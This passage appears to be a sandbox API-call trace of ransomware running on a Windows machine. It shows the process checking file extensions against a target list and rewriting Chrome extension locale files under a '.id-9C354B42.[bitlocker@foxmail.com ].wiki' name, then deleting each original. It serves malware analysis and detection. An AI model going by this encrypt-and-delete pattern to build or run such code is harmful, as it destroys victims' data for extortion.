lstrlenW (lpString=".docx") returned 5 [0174.036] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.036] lstrlenW (lpString=".pdf") returned 4 [0174.036] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.036] lstrlenW (lpString=".xls") returned 4 [0174.037] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.037] lstrlenW (lpString=".xlsx") returned 5 [0174.037] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.037] lstrlenW (lpString=".ppt") returned 4 [0174.037] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.037] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 152 [0174.037] lstrlenW (lpString=".zip") returned 4 [0174.037] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.037] lstrlenW (lpString=".rar") returned 4 [0174.037] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.037] lstrlenW (lpString=".bz2") returned 4 [0174.037] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.037] lstrlenW (lpString=".7z") returned 3 [0174.037] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.037] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 152 [0174.037] lstrlenW (lpString=".dbf") returned 4 [0174.037] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.037] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 152 [0174.037] lstrlenW (lpString=".1cd") returned 4 [0174.037] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.037] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 152 [0174.037] lstrlenW (lpString=".jpg") returned 4 [0174.037] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.037] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.038] lstrlenW (lpString="messages.json") returned 13 [0174.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.038] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=356) returned 1 [0174.038] CloseHandle (hObject=0x320) returned 1 [0174.038] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json")) returned 0x2020 [0174.038] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.038] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.038] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.039] GetLastError () returned 0x0 [0174.039] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x164, lpOverlapped=0x0) returned 1 [0174.040] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x170, lpOverlapped=0x0) returned 1 [0174.041] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.041] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.041] SetEndOfFile (hFile=0x198) returned 1 [0174.041] CloseHandle (hObject=0x198) returned 1 [0174.041] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.041] SetEndOfFile (hFile=0x320) returned 1 [0174.042] CloseHandle (hObject=0x320) returned 1 [0174.042] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.042] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json")) returned 1 [0174.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 152 [0174.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 152 [0174.043] lstrlenW (lpString=".doc") returned 4 [0174.043] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.043] lstrlenW (lpString=".docx") returned 5 [0174.043] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.043] lstrlenW (lpString=".pdf") returned 4 [0174.043] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.043] lstrlenW (lpString=".xls") returned 4 [0174.043] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.043] lstrlenW (lpString=".xlsx") returned 5 [0174.043] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.043] lstrlenW (lpString=".ppt") returned 4 [0174.043] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 152 [0174.043] lstrlenW (lpString=".zip") returned 4 [0174.043] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.043] lstrlenW (lpString=".rar") returned 4 [0174.043] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.043] lstrlenW (lpString=".bz2") returned 4 [0174.043] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.043] lstrlenW (lpString=".7z") returned 3 [0174.043] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 152 [0174.043] lstrlenW (lpString=".dbf") returned 4 [0174.043] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 152 [0174.043] lstrlenW (lpString=".1cd") returned 4 [0174.043] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 152 [0174.043] lstrlenW (lpString=".jpg") returned 4 [0174.044] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.044] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 152 [0174.044] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 152 [0174.044] lstrlenW (lpString=".doc") returned 4 [0174.044] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.044] lstrlenW (lpString=".docx") returned 5 [0174.044] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.044] lstrlenW (lpString=".pdf") returned 4 [0174.044] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.044] lstrlenW (lpString=".xls") returned 4 [0174.044] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.044] lstrlenW (lpString=".xlsx") returned 5 [0174.044] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.044] lstrlenW (lpString=".ppt") returned 4 [0174.044] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.044] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 152 [0174.044] lstrlenW (lpString=".zip") returned 4 [0174.044] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.044] lstrlenW (lpString=".rar") returned 4 [0174.044] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.044] lstrlenW (lpString=".bz2") returned 4 [0174.044] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.044] lstrlenW (lpString=".7z") returned 3 [0174.044] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.044] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 152 [0174.044] lstrlenW (lpString=".dbf") returned 4 [0174.044] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.044] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 152 [0174.044] lstrlenW (lpString=".1cd") returned 4 [0174.045] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.045] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 152 [0174.045] lstrlenW (lpString=".jpg") returned 4 [0174.045] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.045] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.045] lstrlenW (lpString="messages.json") returned 13 [0174.045] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.045] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=270) returned 1 [0174.045] CloseHandle (hObject=0x320) returned 1 [0174.045] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json")) returned 0x2020 [0174.046] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0174.046] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.046] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.046] GetLastError () returned 0x0 [0174.046] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x10e, lpOverlapped=0x0) returned 1 [0174.047] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x110, lpOverlapped=0x0) returned 1 [0174.048] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.048] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.048] SetEndOfFile (hFile=0x198) returned 1 [0174.048] CloseHandle (hObject=0x198) returned 1 [0174.048] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.048] SetEndOfFile (hFile=0x320) returned 1 [0174.049] CloseHandle (hObject=0x320) returned 1 [0174.049] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.188] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json")) returned 1 [0174.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 152 [0174.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 152 [0174.188] lstrlenW (lpString=".doc") returned 4 [0174.188] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.188] lstrlenW (lpString=".docx") returned 5 [0174.188] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.188] lstrlenW (lpString=".pdf") returned 4 [0174.188] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.188] lstrlenW (lpString=".xls") returned 4 [0174.188] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.188] lstrlenW (lpString=".xlsx") returned 5 [0174.188] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.188] lstrlenW (lpString=".ppt") returned 4 [0174.188] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 152 [0174.188] lstrlenW (lpString=".zip") returned 4 [0174.189] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.189] lstrlenW (lpString=".rar") returned 4 [0174.189] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.189] lstrlenW (lpString=".bz2") returned 4 [0174.189] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.189] lstrlenW (lpString=".7z") returned 3 [0174.189] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.189] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 152 [0174.189] lstrlenW (lpString=".dbf") returned 4 [0174.189] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.189] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 152 [0174.189] lstrlenW (lpString=".1cd") returned 4 [0174.189] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.189] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 152 [0174.189] lstrlenW (lpString=".jpg") returned 4 [0174.189] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.189] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 152 [0174.189] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 152 [0174.189] lstrlenW (lpString=".doc") returned 4 [0174.189] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.189] lstrlenW (lpString=".docx") returned 5 [0174.189] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.189] lstrlenW (lpString=".pdf") returned 4 [0174.189] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.189] lstrlenW (lpString=".xls") returned 4 [0174.189] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.189] lstrlenW (lpString=".xlsx") returned 5 [0174.189] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.189] lstrlenW (lpString=".ppt") returned 4 [0174.189] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.190] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 152 [0174.190] lstrlenW (lpString=".zip") returned 4 [0174.190] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.190] lstrlenW (lpString=".rar") returned 4 [0174.190] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.190] lstrlenW (lpString=".bz2") returned 4 [0174.190] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.190] lstrlenW (lpString=".7z") returned 3 [0174.190] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.190] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 152 [0174.190] lstrlenW (lpString=".dbf") returned 4 [0174.190] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.190] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 152 [0174.190] lstrlenW (lpString=".1cd") returned 4 [0174.190] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.190] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 152 [0174.190] lstrlenW (lpString=".jpg") returned 4 [0174.190] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.190] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.190] lstrlenW (lpString="messages.json") returned 13 [0174.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.191] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=179) returned 1 [0174.191] CloseHandle (hObject=0x1ac) returned 1 [0174.191] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json")) returned 0x2020 [0174.191] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.191] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 